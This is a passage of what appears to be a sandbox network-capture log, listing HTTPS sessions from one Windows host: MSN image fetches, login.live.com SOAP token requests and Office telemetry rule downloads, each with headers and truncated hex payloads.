2024-11-25 13:15:02 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=64425 Expires: Tue, 26 Nov 2024 07:08:47 GMT Date: Mon, 25 Nov 2024 13:15:02 GMT Connection: close
2024-11-25 13:15:02 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49916	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 13:15:02 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:15:02 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:14:02 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: 5ad48f1c-00a7-4c57-8242-b30c354d74a6 PPServer: PPV: 30 H: PH1PEPF00011E46 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:15:02 GMT Connection: close Content-Length: 11409
2024-11-25 13:15:02 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:02 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:02 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131502Z-178bfbc474btrnf9hC1NYCb80g00000007n000000000bypv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:02 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:02 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:02 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 512d0a55-c01e-0079-2cc0-3ee51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131502Z-178bfbc474bvjk8shC1NYC83ns000000078g00000000fv61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:03 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:02 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:03 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a5493b62-c01e-0046-23bf-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131503Z-178bfbc474bq2pr7hC1NYCkfgg00000007k000000000e1n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:03 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:02 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:03 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 8bbb06ff-f01e-0020-2e18-3f956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131503Z-15b8b599d88pxmdghC1TEBux9c00000005zg00000000kpgh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:03 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:03 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:03 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: def4d052-b01e-0053-1eaf-3ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131503Z-15b8b599d88s6mj9hC1TEBur3000000005w0000000004hmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:03 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49923	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:03 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:15:04 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=321727 Expires: Fri, 29 Nov 2024 06:37:11 GMT Date: Mon, 25 Nov 2024 13:15:04 GMT Connection: close
2024-11-25 13:15:04 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:04 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:05 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:05 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 4ba44194-501e-0047-0aeb-3ece6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131505Z-15b8b599d88qw29phC1TEB5zag00000005xg00000000dw7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 13:15:05 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49924	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:04 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 13:15:04 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:15:05 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:14:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 8c78f218-b6b9-4d9e-97e2-0a94cc8ac0dc PPServer: PPV: 30 H: SN1PEPF0002F984 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:15:04 GMT Connection: close Content-Length: 11409
2024-11-25 13:15:05 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:04 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:05 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 7dc54e2b-a01e-0050-6d9c-3ddb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131505Z-15b8b599d882hxlwhC1TEBfa5w00000005vg00000000bg4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
